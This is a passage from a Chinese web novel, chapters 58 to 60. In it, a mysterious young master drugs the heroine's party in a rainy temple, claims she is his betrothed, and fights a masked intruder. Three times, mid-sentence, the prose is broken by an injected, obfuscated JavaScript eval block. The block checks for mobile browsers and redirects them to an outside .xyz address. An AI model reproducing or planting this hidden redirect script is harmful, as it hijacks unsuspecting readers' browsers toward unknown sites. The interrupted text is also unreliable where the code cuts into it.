晏璇无声痴笑,赶紧打开伞罩在她们头顶,晏曜则举着灯走在前面。 “阿璇。”孟珎收拾好,立即撑伞而来。 他身形微顿,脸庞隐在黑暗中看不真切,晏璇却感受到了某种幽怨之气。从晨起到现在,他们说的话还未超出三句,眼下又让十一做了他想做的事。 不过,孟珎就算有多愁闷,始终把晏璇放在首位,赶紧让她们进庙躲雨。 “师兄。”晏璇掩唇咳了一声,越过十一的肩头道,“轮椅就麻烦你了。” 孟珎点头:“好。” 也不知他们几人是什么时候商量好的,起火烧水,打扫除灰,照料马匹巡视周遭,每个人都安静地做着事。 晏璇坐在火堆旁,吃上了今晚的晚饭,山药肉汤。 庙外暴雨如注,庙内众人吃饭烘衣,十一下了马车后不知又去了哪。 司珩蓦地放下手中盛汤的竹罐,抬头道:“有人!” 余下几人,除了晏璇,均都一脸戒备。 破庙四处漏风,佛像残缺倾倒,那破败的大门只能掩上半扇。晏璇抬眼望去,黑黝黝的一片中似有几道灰影晃动。 若不是身旁有人在,这样的夜色里实在瘆人。 “诸位打搅,我们主仆路过,可否借地避个雨?” 风雨声中,一道柔柔弱弱、战战兢兢的男声传了过来。 与此同时,晏璇脑中想起了系统的声音。 【有新的提示:善解人意,生命值加0.1%。】 【有新的提示:助人为乐,生命值加0.1%。】 …… 小九:【宿主,生命值终于离开红色警戒范围了!】 58. 第 58 章 雨夜的荒郊野岭,阴森诡异,出现晏璇几个已是不寻常,如今又有别的主仆经过,老道的江湖人必是要打起十二分精神,谁都不知一门之外是人是鬼。 晏璇一行属司珩的辈分最大,他仍是用着同珩的身份行事,作为镖局的镖头,在外行走须眼观六路,耳听八方,时刻注意是否会有意外发生。 长兴镖局在道上小有名气,杜若原以为司珩是被晏璇请来做护卫的,直到他听到晏璇喊了声“舅舅”。 此刻,不管出于何种考虑,暂且听取司珩的意见为先,他只是一个普通“车夫”。杜若转头看司珩,等待他的决定。 花奕抓过地上的破妄刀,坐得离晏璇更近了些。孟珎则坐得远些,靠近门口方向,他目光微移,欲言又止,一来他不必再说些要小心的废话,二来他答应了晏璇,在司珩面前尽量克己慎行以免惹他不快,可他做或不做、言或不言在司珩眼里都是错处。 他想要与她亲近。 火光映照下,晏璇瓷白的脸庞镀上了一层暖光,她欣然地喝着喜欢的山药肉汤,眉眼间都是满足,孟珎望着,心头渐渐平静,默叹了一声。 外面的人进庙来是迟早的事,不过是讲规矩同他们知会一声,晏璇他们应不应则是敌意深浅之别。 出门在外,当然是要与人方便。晏璇摩挲着竹筒杯沿,维持住一贯的善解人意开口道:“舅舅,雨这般大,让他们快些进来吧。” 司珩瞥她一眼,淡笑中流露出一丝无奈,似料到了她会如此,又觉着她实在天真不好在此时当面点出。他添了把柴火,火焰更盛,朝外扬声道:“都是过路避雨的,不必客气。” “谢谢。”那男人回道。 晏璇继续小口喝着汤,仿佛没有感知周遭突然变沉的气氛。下一瞬,那扇半掩的门发出“嘎吱”粗响。 随着映入眼帘的三道人影,一阵狂风裹着雨水飘进庙内。 着一身半黑半灰袍子的高个男人转身关上了门,他一边拎着袍角拧干水,一边弯腰朝着他们这边微点了点头。 “打扰了。” 是刚才出声的人。听声音,晏璇以为会是个文弱侍童,不想他身量高大,肩宽体阔,鼓鼓囊囊的衣袍下莫不都是肌肉?说他能一拳打倒一头牛,晏璇都信。 果然在此时此地出现的人不会太寻常。 晏璇暗暗惊奇,见走在另一侧穿着绛紫色布裙的女子收了伞,露出她光洁的额面,她的头发被全部盘起,一丝不苟,后脑垂着一块装饰的纱巾。 此人做事不紧不慢,脸上没什么表情,她从袖口掏出一块帕子,伸手替她左手边上的人擦拭身上溅湿的地方。 不过,主人貌似并不领情,颇有些不耐地拍开了她的手。 那人穿着竹青色的外袍,腰身纤细,腰间束有墨色素带,悬挂一枚草色流苏玉佩。 他低着头甩了甩衣袍上的水珠,墨发松松地挽着,不知是有意还是不小心弄散了,一部分垂落在胸前,额前的碎发微湿遮住了眉眼。 觉察到有人在打量,他漫不经心地斜睨过来,一双上挑的丹凤眼似含嗔带怒,眉毛秀气,肤色白皙,一张樱桃色薄唇微微抿着。 嗯?是个……女扮男装的姑娘? 晏璇一愣,对方一顿之下也眯起双眼,忽的眼前有一大片阴影倾下,月白袍子挡住了她的视线。 孟珎弯腰站在她身前。 晏璇仰头:“师兄?” 孟珎的目光从一旁收回,他接过晏璇手里的竹筒杯,小声道:“雨渐渐小了,一会去马车里休息,我和师姐会轮流守着。车里还有点心和熟食,少喝一点汤水。” 花奕不自觉挪开半步,每次他俩一说话,仿佛有一个无形的罩子将别人隔绝在外,她有些不情愿却不得不承认。明明看着那么木的一个人,照顾起阿璇就像是呼吸一般自然,从小到大没变过,现在更甚。 晏璇怔了下,后知后觉明白过来孟珎的意思,眼下不方便如厕,孟珎不想她喝太多水。 “哦,我知道了。” 司珩余光中见两个小辈说话,倒也没再出声讥讽。阿姐为人爽直,她的女儿内敛一些,可看上的怎么是这么个呆瓜!要是不体贴不会照顾人看不出半点用处! 晏璇不用抬头,就知司珩脸色不善,他对师兄的抵触,有部分来自长辈的审视,另外的则是对披云堂的芥蒂。十几年的恨意,不可能靠几句解释就释怀了,他们之间还需要时间磨合。 火堆上除了架着一口锅,还有一个药罐,孟珎已经把要用的纱布在里面泡煮了一会。这几日闷热,虽有他每日替晏璇护理伤腿,还是起了一点红疹。 见孟珎起身动作,晏曜上前帮晏璇推着轮椅背对向火光,花奕则帮她脱鞋袜,露出需要涂药的伤处。孟珎蹲下拧了拧纱布,先给晏璇仔细擦一遍患处,等干爽之后再抹上一层药膏,整个过程,三人配合无间。 晏璇咬牙没吭声。 司珩默默看着,阴郁的视线不由落到了杜若身上。 若不是他,晏璇何以遭罪。 杜若没得辩解,跟在少主身边几年,他自认遇事够冷静,即使破釜沉舟也有几分胜算。仅那一次怒火中烧,要是把殷数拿下了还好,结果……只叹自己蠢不自知。 “同镖头,我去看看车马……”杜若戴上竹笠道。 未等他起身,那道气弱的男声又传来。 “打扰几位大侠。” 司珩一惊,这人已悄无声响走近了几步,另两人则坐在庙内一角,昏暗中不辨神色。 “何事?”司珩冷道。 “啊,我们带的火折子被雨水浸透了没法用,可、可否向你们借个火?”男人畏缩着道。 一身腱子肉偏偏胆儿只有丁点大,司珩盯着他从腰间摸了摸,掏出火折子往男人身上一扔:“拿去。” 男人踉跄一步,笨拙地用双手接住,忙道:“谢谢。” 晏璇偏头看着,一时不知这人本性如此还是伪装太过。 他一脸欣喜地跑回角落里,破庙里的枯叶烂木头不少,生个火不是难事。 只是……雨水潮湿,男人忙活了半天才燃起了几缕白烟。那个不知是男是女的主子和另一个姑娘,只干坐着看他动手。 男人焦急地摸了下额头,擦了擦不存在的汗水。他搓着手,拿了根细木头又犹犹豫豫地向晏璇这边走来。 “那个……我可以在这取点火吗?” 庙里干燥能用的东西已被晏璇他们先取用了,男人点不着火情有可原。可司珩受不了他窝囊的样子,上下扫视了好几眼,没好气道:“生火的时候,在底下留出通风的口子,不要堆实了。” 在他露出忐忑的神色前,司珩抱胸侧了身体:“要借火,自便。” 男人感激,忙不迭道:“谢谢大侠。” 等木头烤热燃着了,他把火折子还给了司珩。这回,没等多久,庙里另一角亮起了火光。 听那人小声地说着类似“久等了”、“对不起”的讨好话,花奕忍不住在晏璇耳旁嘀咕:“白长了那副身量,他主子还能吃了他不成。” 晏璇看着在收拾药罐的孟珎,微笑道:“或许就是怕呢,又或许他……乐在其中。” “乐在其中?”花奕眉头夹得死紧,不知为何,她抱了抱自己的胳膊,感到一丝恶寒。 的确是有些奇怪的主仆。 晏璇越过火光,见那高大的身影依旧殷勤地忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686148|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不停,不知他从哪扯出一根麻绳,一头绑在烛台架上,一头绑在窗棂上,再挂了件外衫在绳上,算是围出了一小块私密的空间。 似乎只是一个尽心为主的人。 晏璇戒心松动间,就觉一道目光直勾勾地注视着她,垂挂的衣衫随风晃动,飘荡之间,那张清新秀美的脸庞若隐若现。 晏璇倏地收回了视线,心一点点往下沉,上次被人这般看着,紧接着就是一堆糟心事。 来者不善! 可这回,她身边有司珩,有孟珎,花奕也一直陪着自己。 晏璇低喊一声,她感到喉头微微震动,张着嘴竟没有发出半点声响。 她这是又中了暗算?怎么可能? 惊变只在一瞬间。庙内风声呜呜似泣,晏璇突然意识到,身边的人异常安静。她微微侧头,方才花奕和晏曜说着悄悄话,此刻他们依然靠坐着,只是低垂着头,双眼紧闭。 师兄和舅舅呢? 晏璇转动视线,只觉得身体无比沉重,眼睛都快要不受控制。 就在侧后方,孟珎单膝半跪于地,他的手伸向她垂落着,似乎在昏迷前感受到了异样,他想要提醒已是无力。 在场几位,无声无息中遭到暗害并无不可能,可她和司珩算是身怀金手指,什么样的迷药能将他们一击即中? 舅舅! 晏璇无声呐喊,发现司珩支着头,像是打盹般睡了过去。 火光摇曳,晏璇看不真切眼前的一切,所有的景物似被模糊了棱角,泛着或亮或暗的彩光。那件晃动的衣衫被撩起,三道拉长的身影向着晏璇走来。 脑海中叮的一声,小九的声音将晏璇拉回了一些理智。她虚握着轮椅扶手,完全不知将面对什么。 小九:【完了完了!这是要做什么,劫财?劫色?】 晏璇急道:【去把杜若引来!】 小九:【宿主,我离不开你,别人也看不见我!】 晏璇:【……】 “公子,他们怎么都倒下了?好可怕啊。” 那道怯弱的声音再次响起,晏璇只觉汗毛倒竖。她眯眼瞧着,被围在中间那人亦死死盯着她,同时抬起脚往身侧的男人身上踹去。 “滚,去把外面那个处理了。” 声音慵懒低沉,是十足十的男人声线。 “哎哟,是公子你偏要我学什么窝囊鬼的模样,我这学得不像吗?”男人直起身体,一扫之前低眉敛目的样子,嘴角轻勾,一副目中无人的邪魅狷狂。 他一边揉着腰一边往庙外走去。 小九惊叫:【啊啊啊,杜若危!杜若危!】 晏璇被它喊得心烦意乱,索性闭了眼,只要他们不是直取她的性命,她不是完全没有反抗的机会。 耳畔传来一声哼笑,一只微凉的手捏住了她的下巴,晏璇感到那人俯低身子直盯着她面上瞧。 “怎么闭眼了?方才不是一直在看我的脸?”他语含揶揄,在晏璇猝不及防间,食指刮过她的上颚,有什么东西被塞进了晏璇嘴里。 “你……” 晏璇惊愕,漏了半点声音出来。 她好像可以说话了…… “以你我的关系,我还不至于害你。”男人又是一笑。 晏璇缓慢睁开眼,面如冠玉的脸就停在方寸之外。 做什么挨这么近!而且,他们的关系?他认识她? 就在晏璇疑惑间,想要出口反问之时,男人收敛笑意,斜眼向上一瞟。 “哦,梁上还躲着一个呢。” 话落,他身后穿绛紫色布裙的女子飞身直上,几点银光闪现,头顶上纷纷落下一层木屑。 十一在上面! 59. 第 59 章 众人出行,除去晏璇和晏曜,几人都身怀不俗武功,司珩遂选择夜宿破庙。 若是无雨,他会选更为空旷的林间休憩。 寺庙已荒废多时,残像倒落,墙体斑驳,蜘蛛丝网遍布。司珩前后探查一番,虽有人来过的痕迹,也是许久前的。他安心清理出一块空地,架起了火堆。 晏璇他们进了庙后,围着火堆分坐两边,司珩位于中间直面大门。残破的木门勉强能掩上,他执意只关半扇挡去小片风雨。 当那三人出现,司珩不动声色与之打了照面,二男一女,不知深浅。 开口说话者人高马大,言行举止畏首畏尾;撑伞侍奉的女子冷静异常,不似寻常姑娘;主人旁若无人未发一语,他们各个令人生疑。 司珩冷眼瞧着,为首者面容秀美,乍一眼是个冷艳女子,穿着男式衫袍颇为奇异,无怪乎晏璇都看呆了。可此人宽肩窄臂,走路时手肘向外微张,跨步宽大,起落有力,是明显的男人体态。 司珩多年漂泊在外,见过的人不少,如此男生女相的罕见。他依稀记起少年时,与阿姐在泑山放马捉鱼,身后总有一个小尾巴,那人撒泼打滚式地央着阿姐,仗着阿姐喜欢小孩成天粘着她。 起初,司珩见人长得粉嫩,眼角含笑微翘,常戴一顶簪花巾帽,误以为是个性子有些顽皮的女娃。直到后来,小鬼多次扬言要与阿姐成婚,还同母亲有商有量,他才惊觉那是个混小子! 忆起往事,司珩又是一阵恍惚。如今晏璇都到了谈婚论嫁的年纪,而阿姐到底在哪…… 当高个男几次过来借火,司珩几分烦躁几分不耐,心想着此人若是心有不轨,试探的手段未免拙劣。若是暗中下药,他一时也可招架。 男人一板一眼动作笨拙,看不出要做什么手脚。不觉中,司珩忍不住点了对方一句。 人有失手,马有漏蹄,老江湖也是着了道。司珩忆起了故人,却忘了故人会长大,还有一身与之相克的本事。 他眼神朦胧,渐渐感到无力,纵使有灭顶的恐慌,随着他双眼闭合,俱都湮没了。 晏璇眼看着女子飞身而起,甩手一排银针射出,头顶上纷纷扬扬落下木屑与尘灰。 男人抬手挥了挥,替她挡在额前,另一只手搭在她肩上,转脸看着前方从上缠斗而下的两人。 黑衣人落地后接连两个后空翻,躲过紫衣人一记长拳。后撤一步抵上佛像石座,黑衣人从靴中拔出匕首,将将迎上紫衣人双手合力挥出的一刀。短兵相接,铿锵作响。 十一身形微晃似有脱力,想必也受了药物影响,此刻是在勉力相撑。紫衣人刀刀狠辣,再次出手贴着十一的面巾划过,晏璇的心差点提到嗓子眼。 定是肌肉男借火时搞得鬼,将迷药不知不觉投入火中,叫他们全中了招。 再看十一被一刀划破衣袖,晏璇嘶叫出声:“住手!别伤她!” “哦,她是你的人。” 男人气定神闲,用力扣着晏璇一侧肩膀使她不得动弹,抬眼给紫衣女子使了个眼色。 晏璇眼疾手快,刚悄摸进百宝袋,手腕一下被人擒住,他捞走她手中药丸,在眼前轻嗅细瞧,笑道:“咦?你还有这等本事,看来我们注定是一家了。” 什么一家,全世界搓丸子的都和他是一家。 “我不认识你,你……是男的还是女的?”晏璇瞥过他的脸,视线停留在他喉间。 男人瞬间眯了眯眼:“你若不是司家的,此刻已是半具尸体。” 果然……又是她这张脸惹得事,这人认识她娘亲。 “凶什么……你长得这样好看,我一时迷糊分辨不清,多问一句何错之有?” 晏璇一边无辜望他,一边用余光追着十一的动静。 紫衣人得了男人暗中示意,似不再狠命攻击十一要害,反像在消磨十一体力,迫她就擒。 “倒是会用眼神装可怜。”男人抚过她头顶,哼道,“若是没这些东西,我还能信你几分。” 他伸手往晏璇面前一松,几根银针无声落地,还有一颗藏在她领间的麻药。 晏璇:“……” 他是狗鼻子还是火眼金睛,怎么这么会? 晏璇垂头盯着地上的东西,双肩开始微颤。 “气得说不出话了?”男人好笑道。 不料豆大的水珠滑落,一颗接一颗打在晏璇的裙摆上。随之,她的哽咽声起:“我……好心叫舅舅让你们进来避雨,可你把他们都、都害了,我不该气愤,不该害怕?” “你抓得我好痛。” 也算是有多年戏精经验,声泪俱下不过尔尔,晏璇当场表演一个羞愤交加。 男人一愣,当真松开她少许,疑道:“不像是这般胆小的……” 他抓过她手腕,三指搭脉一探,皱眉:“毫无内力……还是个病秧子。” 晏璇泪眼瞪他。 “呃,算我错,事出突然,未来得及与你好好聊聊。” 这个聊聊也不知是真聊还是另有他意,至少听在十一耳中全变了味,方才男人动手动脚要与晏璇做家人,怎么听都像是虎狼之词。 晏璇痛哭,十一更是怒从心起,低喝一声,旋身使出一招连环腿逼退紫衣人,之后倾力一掌袭向男人。 紫衣女子捂着肩翻身而起,直追而来。 男人眉目一凛,即刻单手相迎,十一两面受击。 泪眼朦胧中,晏璇惊叫道:“十一小心。” 男人沉声:“乔羽,制住她!” “是,公子。” 随着女子话落,有什么击中了十一的后颈,她闷哼一声,踉跄着跌坐至晏璇轮椅前,挣扎着昏了过去。 “小晏子……” 晏璇怒极,右腿蹬地腾的一下站立而起,左腿被扯动钝痛不已,脸上一片煞白。 “哇哦,瞧你急得残腿都能动了。”男人大笑,又把晏璇按坐回轮椅上。 他的笑声狂放,实在是太嚣张、太可恶! 男人弯腰,侧头看着晏璇气极了的模样,拍了拍她的脸蛋道:“放心,只叫她安静一会,其他人也一样,我们好好说说话。” 晏璇扭头,避开他的手:“有话说话,别碰我。” “怎么,有人碰得,我碰不得?”男人转动轮椅将她面向孟珎。 他盯着她的眼睛,伸出腿精准踩在孟珎背上碾了碾:“心疼吗?” 晏璇:“……” 什么狗血低俗烂人行为,他是不是觉得自己掌控全局,特别厉害? 小九忍不住啐道:【宿主,他好贱好中二。】 晏璇闭了闭眼,深呼一口气:“一个人要是够狠够坏我敬他有孤胆雄心,但他不能是无耻、下流。” “还是头回有人说我无耻下流。”男人低低笑着,一把捏住晏璇的下颌,“他们喊你什么来着,阿璇?你怎的如此天真?也是,泑山出来的,个个单纯得要命,简直蠢出天。” “不过没关系,我有点喜欢你。” 晏璇忍住白眼:“对不起,我不喜欢。” 那个叫乔羽的侍女似乎频频望了她几眼。 “你喜欢这小子?那可不行。”男人摸着下巴,一副无可奈何的样子,“你可是你娘许给我的媳妇。” 什么?!晏璇觉得自己有点幻听。 晏璇:【他刚说什么,我是他什么?】 小九:【媳妇……宿主,你这是天降桃花啊,不对,是烂桃花。】 小的时候,晏璇总担心天下掉个什么东西把自己砸死,现在她不怕了,可它开始往她头顶砸臭男人了。 晏璇暗暗吸气,不知她亲娘招来了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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司珩还是那个司珩,面部并没有太多变化,火光映照下,原先粗犷的脸部线条柔和了些,双眉纤细了,眼尾圆润了,之前锐利逼人的气势去了大半,也可能只是因为他昏睡着,少了些攻击性。但是,此刻的司珩与晏璇无疑更相像了。 晏璇:“……” 当初他若以这副面目对着她,她或许能更早察觉他们的关系。 “如何?”苍翊笑问,“这些年司家正头疼族长继位的事,你娘和他倒是在这隐姓埋名起来了。” 他知道什么在这胡言乱语。 可晏璇实不知他的底细,不可能反驳一二漏了什么信息。 “你到底是谁,和我娘他们什么关系?” “严山岭苍家也就和你们隔个山头,风吹草动全都清楚。” “你下了什么迷药,他们什么时候能醒?” “此番你们去哪?或许我能陪你玩玩。” ”什么毒这么厉害,舅舅都挡不住?” “这里的人多人模狗样,还是早些回泑山安全。” “……” 两人各说各话,好不幼稚。 晏璇叹了口气,回道:“我在这挺好,你一来就伤了人。” 谁人模狗样谁清楚。 “不识好人心。”苍翊哼道,“我要是自报家门,可就不是晕个人这般简单。” 晏璇也哼一声:“难不成你有什么报了名字就得见血的邪门规矩?” “人小脾气不小,刚还不是吓得哭了。”苍翊伸手弹了下她的脑门,“司珩在江湖上是什么名声?有的是人记恨他,而我,也好不到哪去。” 这话听起来倒有几分自知之明,可是…… 晏璇无语望他:“不能说个悄悄话,非要搞出这些动静。” 苍翊:“……” 乔羽发出一声闷咳,这是她除了回应苍翊外第一次有别的动静,之前她就像个傀儡人似的站在一旁。 “敬澈做什么去了?一个车夫还需他费半天功夫!”苍翊的声音突然大了起来。 “公子!” 门口倏地传来哐当巨响,原先那道柔弱的嗓音变了几个调喊出浑厚一声。 晏璇惊得侧过头去。 两道身影如闪电般跃进庙内。 又是一个黑衣人! 60. 第 60 章 夜幕深邃,沉闷潮热,有行人脚步匆匆。 “夜黑风高天,杀人放火时啊。” “说什么浑话呢!给老子睁大眼,竖好耳朵!” “是、是,大哥。” 沿街小巷里,两个身材魁梧的男人打着灯笼,边走边一一扫视各处。 走至一拐角树影婆娑处,见有暗影晃动,其中一人高声喝道:“什么人鬼鬼祟祟!” “高爷,是我!雀来客栈的老陶。” 高辛提起灯笼,走近几步照清对面人的模样,忍着火气道:“老陶?大晚上不好好在你的客栈待着,穿一身黑在此晃荡做什么!” 陶青侧着身子窘迫不堪,理着衣袍大喊冤枉:“人有三急,刚去办了点事不料走到半途就……况且,我、我这穿的也不是黑的。” “大哥,老陶穿的是褐衣。”叶二弟小声附耳道。 高辛怒瞪他一眼,转头对老陶道:“快些回去,小心一把年纪被人嘎了腰子。” “好好。”陶青忙点头应是,又左右看了看街头巷尾轻声问,“可是有什么人逃窜到咱们南塘犯事了?劳您夜巡。” 高辛哼了哼:“不知。昨夜有歹人趁灯会喧闹刺伤了一名杂耍班子的班头,不像是江湖寻仇,上头让我们这几日仔细点。” “竟是如此……” 陶青躬身行了一礼:“那不打扰二位爷了,得闲时来店里转转,老陶请二位喝新酿的清酒。” “去吧。”高辛摆了摆手。 兄弟二人继续沿着街道各处巡视。 陶青嘴角浮起一抹笑,脚步一转,迅速隐入夜色之中。 热闹后的南塘恢复了往日宁静,在这风雨欲来的夜晚,更显晦暗不平。无法窥见的角落,仿佛到处潜藏着危机。 当再次窜出黑衣人时,晏璇便暗叹此处真不愧是事故高发地。 雨夜、破庙、武林高手,简直是集齐了事件三要素,想不发生点什么都难。 乔羽听到响动,已拔刀迎上。苍翊将她的轮椅推开少许,眯着眼看庙内缠斗一处的三人。 乔羽身轻,如一条灵蛇上下腾挪,敬澈刚猛,出拳迅如雷霆,两人配合将黑衣人围在中间。 晏璇无暇管他们之间的恩怨,瞥了眼苍翊,见他的心思不在自己身上,连忙去掏百宝袋,不料身体一动也不能动,她试着张了张嘴,更是哑巴一个! 方才,他随手在她身上拂过那两下原是给她点了穴,这满是心机的狗男人! 晏璇不得不睁着眼看他们的武艺大比拼。 黑衣人单手撑地,倒立旋身,如一把人形剪子横扫二人。落地后,一个后空翻,双脚落在大香炉的炉边上,一手抓住垂落的经幡,一手向前一甩,劲发出两枚飞刀。 乔羽和敬澈忙侧身闪避,飞刀直扎入地面余颤不已,他二人发动轻功而上,一时间,庙内尘土飞扬,烂木破铁哐啷巨响。 晏璇皱着眉,好怕碎木头朝她飞来,或者打到司珩等人身上,不死也会受点轻伤。 苍翊忽然低头看她一眼:“怎么,他也是你的人?如此担心。” 晏璇:“……” 这姓苍的可太喜欢自我脑补了,不知他哪只眼睛瞧出她担心的。 “公子,这家伙是六年前那小子!”敬澈打斗中插嘴道。 “嗯?”苍翊愣了下,重新打量起黑衣人,他缓缓露出一个冷笑,“原来是你……当初留你一命,今日倒是自己送上门来了。” “你先伤我少主,后下毒害我,如此阴险歹毒之人,该死!”黑衣人低吼道。 话落,晏璇听得苍翊的呼吸重了两分,他顶了顶后槽牙,半弯腰凑近晏璇耳旁笑道:“你说我无耻下流,他骂我阴险歹毒,那我今日是不是得做些什么才对得起这几句评语?” 别人骂别人的,与她何干。况且,他自己做过什么不清楚,需要此刻自证? 晏璇白了苍翊一眼,只聚精会神盯着黑衣人瞧。她忽的发现此人的声音有些耳熟,而且他穿的夜行衣、围着的黑色面巾甚至是他的身法都很眼熟…… 晏璇的不屑,令苍翊怒气更盛。他抬手用力掰过晏璇的下巴,叫她只能盯着他看:“你是不是在心里已经认定了我是恶毒之人?” 晏璇痛得皱眉:难道他不是?光他今晚对她动手动脚的次数,晏璇就想狂甩他几巴掌。 可她此时力弱,不能硬碰硬,对着他的目光柔了几分,像似含了水般委屈。少顷,苍翊微叹一声,抿了下嘴道:“当日我非无故出手,是他们那个不识好歹的少主认我作女子,留他们命在已是本公子宽容。” 晏璇定定看他,他长得这副玉貌花容,谁都可能认错。她之前不过问一句,他就生气要她命,到底是有多在意才能狠到这个地步。 苍翊在她颈间一点,似有一道劲气打入体内,他微昂着头颅道:“你想说什么,说吧。” 晏璇咽了口口水,能感受到喉间震动。 “外貌身材不过一副皮相,你在意才会被它所累,才会恼羞成怒。” 她直视他凶恶的眼神,平静道:“我不知你以前受过什么委屈,像男像女不都是你自己?若是如此讨厌,与其费力杀光所有错认你的人,不如早点自戕,重新投胎换副身躯。” 耳边顿时传来两道倒抽气声,晏璇转了视线,垂眸看着自己的指尖。 小九:【宿主,你干嘛惹恼他!他要是杀你,现在谁都没法帮你!】 晏璇:【从前就是没人反驳点他,他才会一直钻牛角尖。】 凭他这般自傲,晏璇猜测他应该没受过什么实质性的侮辱,只是被人说得多了,骨子里又有些看不起女子,自觉伤了他的男性自尊。 “呵……”苍翊哼笑,冷声道,“嘴贱者不该受些惩罚,倒叫我去自刎投胎。阿璇,你未免太不讲理了。” “你若同我讲理,怎会将我禁锢如此?”晏璇不觉好笑。 理这个东西,当一个人想用的时候,它就突然变得正义起来。 “还有,我同你不熟,不要叫我阿璇。” 苍翊沉下眉眼:“方才那般泪眼婆娑果然全是装的,我看你是一点儿不怕,更不会怕死。” “怎会不怕?可我如此弱小又能如何,不过是信了你的话,说我娘与你之间有些情谊,我才……” 晏璇紧闭上双眼,深呼吸后双肩又不住微颤起来。 小九惊呆:【宿主,你的演技已经是信手拈来、如火纯青了啊……】 晏璇哼哼:【闭嘴,别害我破功。】 苍翊一时半信半疑,琢磨不定,心绪却因晏璇那番话有了波动。当年,司玥也曾劝慰过他…… 未等他冷静下来,敬澈哀叫一声,已被黑衣人接连两掌击中落了下风。 “几年没往山下走动,武功竟废成这副德行!”苍翊嗤笑,立刻抬掌飞身而上。 他的动作大开大合,与他纤瘦身材恰好相反,苍翊走的也是刚猛路子,不过与敬澈不同的是他多用巧劲,故而他的腿部与肘部格外有力。换句话说,苍翊是那种穿衣显瘦,脱衣有肉的类型。 黑衣人与敬澈、乔羽已战至几十回合,体力不支,苍翊的加入无疑是重拳一击。 只听闷哼一声,晏璇见黑衣人被苍翊一脚踢翻在地,顺势踩住他的锁骨处迫他抬头。 他垂着眼睫,似才发现身边躺着人,微睁大眼不可置信。苍翊冷哼,对乔羽略施眼神,乔羽立即拿出一个药瓶,要对着黑衣人喂下去。 晏璇已知苍翊对毒颇有研究,用的药也稀奇古怪,这瓶药估计也不简单。 她看着那张被面巾遮住大半的脸,眉目间一抹变得陌生的凌厉,昔日恩怨恍如梦。 “等等。”晏璇终是出了声,“你要喂他吃什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14763862|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍翊:“自是好东西。” “不要伤他,可以吗?他是我好友的哥哥,我的朋友不多,不想看她伤心。我能做些什么换他无虞?”晏璇和缓恳求。 地上的人一颤,想要直起的上半身被苍翊死死制住。 “倒也不是非取他性命不可,我平生最讨厌唇红齿白的书生面相,把他脸毁了就一笔勾销。”苍翊笑道。 晏璇:“……” 他这么讨厌自己的长相,也不见把自己的脸毁了,对别人就可以随性所欲是吗? “我真心想与你讲条件。” “我也是真心的。”苍翊仍是满不在乎地笑。 晏璇暗中“啧”了声,盯了他一会突地皱了下眉,闭上眼小口急促呼吸起来。 “你……怎么了?”苍翊微怔,示意敬澈先将黑衣人拿住,自己上前两步扣住晏璇一侧肩膀,“说啊,怎么了?” “心口……疼。” 这下,换苍翊“啧”了声,他抓过晏璇手腕,眉头微拧:“到底是什么病?” 晏璇:我也不知什么病。 苍翊此人,说硬话软话都不中用,那她也没辙了,只能出此下策博同情,且看他上不上当。 苍翊摸了会脉,没瞧出什么,见晏璇的脸愈加发白,他有些烦躁地掏了一颗药丸出来。 “雪莲丹,吃了。”他用药抵开晏璇的唇,直接把药塞进了她嘴里。 乔羽和敬澈对视一眼,均有些惊讶,不想这刚认识的姑娘竟有如此重要,令公子舍得这宝贵的秘药。 药甫一入口,晏璇就闻到了一股清新怡人的甘味,其中还有几味她熟知的补药。这药,确是好东西。 小九:【宿主,可以了吗?还要不要继续偶发休眠症的症状体验?】 晏璇吞下药丸:【差不多了,渐变撤走吧。】 眼见她的脸色渐渐好转,苍翊不觉松了口气,可也更加语气不善:“就因我不放过他,你就气得病发了?我知司家人蠢笨,不想还能出个你这样的女菩萨!” 晏璇抿了抿嘴,气弱道:“……谢谢。” 谢谢苍大公子献出的大补丹。 苍翊:“……” 他狠甩了一下衣袖,也不知在气什么,对敬澈昂了下头:“点上穴,把他打晕。” 敬澈应声,一记手刀落下,黑衣人低哼,伏着身子不动了。 敬澈扯下他的面巾,一张略显温和,与本身充满杀气相悖的脸庞暴露于众。 初七啊,果然是你…… 庙外传来淅淅沥沥的小雨声,暴雨已过,明日终将迎来一个平和的早晨。 “敬澈、乔羽,收拾收拾,准备走。” 两人弯身拱手:“是。” 苍翊将视线从夜色中收回,抬手在晏璇背上一点,晏璇微晃,无力般扑到他胸前。 他双手托住她,微嗤:“好生无用。闹了好一会,我不能再耽搁了,希望下回见你,你还能喘气要做烂好人。” 晏璇偷笑,在他腰间狠抓一把抬起头,双眼圆睁,鼻间微红,似有不忿。 苍翊哂笑:“也不知你这又怂又不服的性子像谁的,肯定不是你娘。” “拿着。”他将一个小圆瓶扔到她怀中。 晏璇愣愣接住。 “见面礼。再等半刻,他们就会醒了,走了。” 这……又吃又拿的,晏璇觉得姓苍的也没那么讨厌了。 她勉强露出几分迷茫,欲言又止般望着他,眉间哀愁似是不舍。 “呵呵……” 低沉笑声传来,那三人已步入黑暗中。 晏璇默默翻了个白眼,立即换下这副惺惺作态的模样。她望着手中的另一个药瓶,嘴角浅笑。 